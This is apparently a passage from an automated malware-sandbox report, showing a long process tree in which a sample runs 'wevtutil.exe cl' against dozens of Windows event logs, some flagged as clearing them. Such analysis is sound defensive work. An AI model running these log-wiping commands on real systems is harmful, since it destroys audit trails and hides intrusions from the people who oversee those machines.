                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-DirectSound/Debug"
                                                                                                                                                                                            4⤵
                                                                                                                                                                                              PID:1544
                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-DirectWrite-FontCache/Tracing"
                                                                                                                                                                                              4⤵
                                                                                                                                                                                                PID:1348
                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-DirectWrite/Tracing"
                                                                                                                                                                                                4⤵
                                                                                                                                                                                                • Clears Windows event logs
                                                                                                                                                                                                PID:3068
                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-Disk/Operational"
                                                                                                                                                                                                4⤵
                                                                                                                                                                                                  PID:2980
                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-DiskDiagnostic/Operational"
                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                    PID:768
                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-DiskDiagnosticDataCollector/Operational"
                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                      PID:560
                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-DiskDiagnosticResolver/Operational"
                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                        PID:448
                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-DisplayColorCalibration/Debug"
                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                          PID:1952
                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-DisplayColorCalibration/Operational"
                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                            PID:1700
                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-DisplaySwitch/Diagnostic"
                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                              PID:1372
                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-Documents/Performance"
                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                              • Clears Windows event logs
                                                                                                                                                                                                              PID:1404
                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-DriverFrameworks-UserMode/Operational"
                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                PID:1664
                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-DxgKrnl/Diagnostic"
                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                • Clears Windows event logs
                                                                                                                                                                                                                PID:2860
                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-DxgKrnl/Performance"
                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                  PID:2768
                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-DxpTaskRingtone/Analytic"
                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                    PID:2176
                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-DxpTaskSyncProvider/Analytic"
                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                    • Clears Windows event logs
                                                                                                                                                                                                                    PID:916
                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-EFS/Debug"
                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                      PID:2524
                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-EapHost/Analytic"
                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                        PID:2288
                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-EapHost/Debug"
                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                          PID:2920
                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-EapHost/Operational"
                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                            PID:2624
                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-EaseOfAccess/Diagnostic"
                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                              PID:1092
                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-EventCollector/Debug"
                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                PID:2760
                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-EventCollector/Operational"
                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                  PID:2664
                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-EventLog-WMIProvider/Debug"
                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                    PID:1928
                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-EventLog/Analytic"
                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                      PID:1512
                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-EventLog/Debug"
                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                        PID:2428
                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-FMS/Analytic"
                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                          PID:1808
                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-FMS/Debug"
                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                            PID:2800
                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-FMS/Operational"
                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                              PID:2736
                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-FailoverClustering-Client/Diagnostic"
                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                PID:2580
                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-Fault-Tolerant-Heap/Operational"
                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                  PID:1280
                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-Feedback-Service-TriggerProvider"
                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                    PID:2272
                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-FileInfoMinifilter/Operational"
                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                      PID:2752
                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-Firewall-CPL/Diagnostic"
                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                        PID:484
                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-Folder Redirection/Operational"
                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                          PID:2044
                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-Forwarding/Debug"
                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                            PID:2424
                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-Forwarding/Operational"
                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                              PID:2000
                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-GettingStarted/Diagnostic"
                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                PID:2652
                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-GroupPolicy/Operational"
                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                  PID:1332
                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-HAL/Debug"
                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                    PID:1920
                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-HealthCenter/Debug"
                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                    • Clears Windows event logs
                                                                                                                                                                                                                                                                    PID:2904
                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-HealthCenter/Performance"
                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                      PID:1584
                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-HealthCenterCPL/Performance"
                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                      • Clears Windows event logs
                                                                                                                                                                                                                                                                      PID:2180
                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-Help/Operational"
                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                        PID:2164
                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-HomeGroup Control Panel Performance/Diagnostic"
                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                          PID:2784
                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-HomeGroup Control Panel/Operational"
                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                            PID:2192
                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-HomeGroup Listener Service/Operational"
                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                              PID:2588
                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-HomeGroup Provider Service Performance/Diagnostic"
                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                              • Clears Windows event logs
                                                                                                                                                                                                                                                                              PID:2436
                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-HomeGroup Provider Service/Operational"
                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                PID:1524
                                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-HomeGroup-ListenerService"
                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                  PID:2916
                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-HotStart/Diagnostic"
                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                  • Clears Windows event logs
                                                                                                                                                                                                                                                                                  PID:1440
                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-HttpService/Trace"
                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                    PID:2620
                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-IKE/Operational"
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                      PID:2636
                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-IKEDBG/Debug"
                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                      • Clears Windows event logs
                                                                                                                                                                                                                                                                                      PID:2452
                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-IPBusEnum/Tracing"
                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                      • Clears Windows event logs
                                                                                                                                                                                                                                                                                      PID:3060
                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-IPSEC-SRV/Diagnostic"
                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                        PID:2640
                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-International-RegionalOptionsControlPanel/Operational"
                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                          PID:1492
                                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-International/Operational"
                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                            PID:2604
                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-Iphlpsvc/Debug"
                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                              PID:2812
                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-Iphlpsvc/Operational"
                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                PID:2816
                                                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-Iphlpsvc/Trace"
                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                  PID:300
                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-Kernel-Acpi/Diagnostic"
                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                    PID:3040
                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-Kernel-Boot/Analytic"
                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                      PID:2744
                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-Kernel-BootDiagnostics/Diagnostic"
                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                        PID:2940
                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-Kernel-Disk/Analytic"
                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                          PID:596
                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-Kernel-EventTracing/Admin"
                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                            PID:620
                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-Kernel-EventTracing/Analytic"
                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                              PID:1396
                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-Kernel-File/Analytic"
                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                PID:1108
                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-Kernel-Memory/Analytic"
                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                  PID:2868
                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-Kernel-Network/Analytic"
                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                    PID:2456
                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-Kernel-PnP/Diagnostic"
                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                      PID:888
                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-Kernel-Power/Diagnostic"
                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                      • Clears Windows event logs
                                                                                                                                                                                                                                                                                                                      PID:1652
                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-Kernel-Power/Thermal-Diagnostic"
                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                        PID:3016
                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-Kernel-Power/Thermal-Operational"
                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                          PID:1152
                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-Kernel-Prefetch/Diagnostic"
                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                            PID:540
                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-Kernel-Process/Analytic"
                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                              PID:2544
                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-Kernel-Processor-Power/Diagnostic"
                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                PID:2392
                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-Kernel-Registry/Analytic"
                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                  PID:2384
                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-Kernel-StoreMgr/Analytic"
                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                    PID:980
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-Kernel-StoreMgr/Operational"
                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                      PID:2892
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-Kernel-WDI/Analytic"
                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                        PID:1812
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-Kernel-WDI/Debug"
                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                          PID:2832
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-Kernel-WDI/Operational"
                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                            PID:2696
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-Kernel-WHEA/Errors"
                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                              PID:204
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-Kernel-WHEA/Operational"
                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                PID:216
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-Known Folders API Service"
                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                  PID:228
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-L2NA/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                    PID:1564
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-LDAP-Client/Debug"
                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                      PID:2968
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-LUA-ConsentUI/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                        PID:2836
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-LanguagePackSetup/Analytic"
                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                          PID:2856
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-LanguagePackSetup/Debug"
                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                            PID:1004
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-LanguagePackSetup/Operational"
                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                              PID:2204
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-MCT/Operational"
                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                PID:708
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-MPS-CLNT/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                • Clears Windows event logs
                                                                                                                                                                                                                                                                                                                                                                PID:2380
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-MPS-DRV/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:1972
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-MPS-SRV/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:2712
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-MSPaint/Admin"
                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:924
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-MSPaint/Debug"
                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:1876
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-MSPaint/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:660
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-MUI/Admin"
                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:968
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-MUI/Analytic"
                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                            • Clears Windows event logs
                                                                                                                                                                                                                                                                                                                                                                            PID:1576
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-MUI/Debug"
                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:2944
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-MUI/Operational"
                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:3056
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-MediaFoundation-MFReadWrite/SinkWriter"
                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:1320
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-MediaFoundation-MFReadWrite/SourceReader"
                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:1748
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-MediaFoundation-MFReadWrite/Transform"
                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:2840
